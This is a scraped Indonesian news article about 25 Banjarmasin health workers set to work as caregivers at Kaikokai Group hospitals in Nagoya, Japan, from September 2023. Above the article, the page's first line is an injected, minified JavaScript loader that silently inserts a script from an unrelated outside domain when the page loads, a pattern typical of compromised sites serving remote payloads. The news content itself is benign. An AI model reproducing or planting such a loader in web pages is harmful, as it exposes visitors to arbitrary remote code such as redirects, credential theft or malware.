(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sebanyak 25 Tenaga kesehatan (Nakes) atau cargiver Kota Banjarmasin dijadwalkan akan meniti karir di Nagoya, Jepang, pada September 2023 mendatang.
Perwujudan kerjasama antara negara Jepang dan Indonesia ini tercipta atas tindak lanjut dari Wali Kota Banjarmasin Ibnu Sina yang mengadakan pertemuan dengan perusaan Kaikokai Group.
“Pertemuan ini membahas kerjasama pendidikan dan penempatan tenaga kerja cargiver dengan grup-grup hospital, juga beasiswa D3 keperawatan untuk kemudian bekerja di Jepang. Sehingga bukan mimpi lagi anak Banua bisa bekerja di Jepang,” kata Wali Kota Banjarmasin Ibnu Sina, Kamis (23/3/2023).
Sekadar diketahui Pemerintah Kota Banjarmasin telah merintis kerjasama sejak tahun 2019. Namun, karena terhalang pandemi Covid-19 selama dua tahun terakhir menyebabkan tidak adanya lanjutan koordinasi bersama perusahan Kaikokai Group itu.
Baca juga: Pusat Perbelanjaan Modern di Banjarbaru Diduga Cemari Sungai
“Kita sudah mengadakan seminar yang dihadiri 500 peserta secara virtual dengan pembicara dari CEO Kaikokai Group. Hal ini terkait dengan rehabilitasi medic yang diikuti pula tenaga kesehatan se Kalsel pada saat itu, selama pandemi kita mengadakan ada 3 kali kegiatan,” jelas Ibnu Sina.
Upaya kerjasama di bidang ketenagakerjaan ini memberikan angin segar bagi tenaga kesehatan di Banua, untuk bekerja di Jepang sebagai caregiver dan perawat, serta tenaga kesehatan lainnya.
Bersama dengan CEO Kaikokai Group di Nagoya, Jepang, rombongan Wali Kota Ibnu Sina meninjau rumah sakit yang menjadi penempatan 25 tenaga kesehatan.
Rumah sakit Kaikokai merupakan salah satu rumah sakit terbesar di Nagoya yang memiliki hampir 25 cabang dengan fasilitas lengkap dan canggih.
Sementara 25 nakes saat ini sedang melaksanakan training di Banjarmasin. Tenaga-tenaga terampil dari Kota Banjarmasin ini, rencananya akan berangkat pada bulan September 2023 dengan masa kontrak 5 tahun.
“Karena saat ini mereka memerlukan 10.000 lebih tenaga cargiver di sana,” lanjutnya.
Baca juga: 10 Ton Beras Disalurkan ke Warga Terdampak Banjir di Martapura
Terkait kerjasama ini, lanjutnya, diharapkan dapat diperluas dalam bidang pendidikan dan bidang bisnis lainnya, terutama pelaku usaha di Banjarmasin.
“Karena itulah jika delegasi Jepang ini datang lagi ke Banjarmasin, saya ingin ada bisnis gathering para pengusaha dari kalsel, baik yang terhimpun dalam Kadin maupun HIPMI serta organisasi profesi lainnya,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More
KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
This website uses cookies.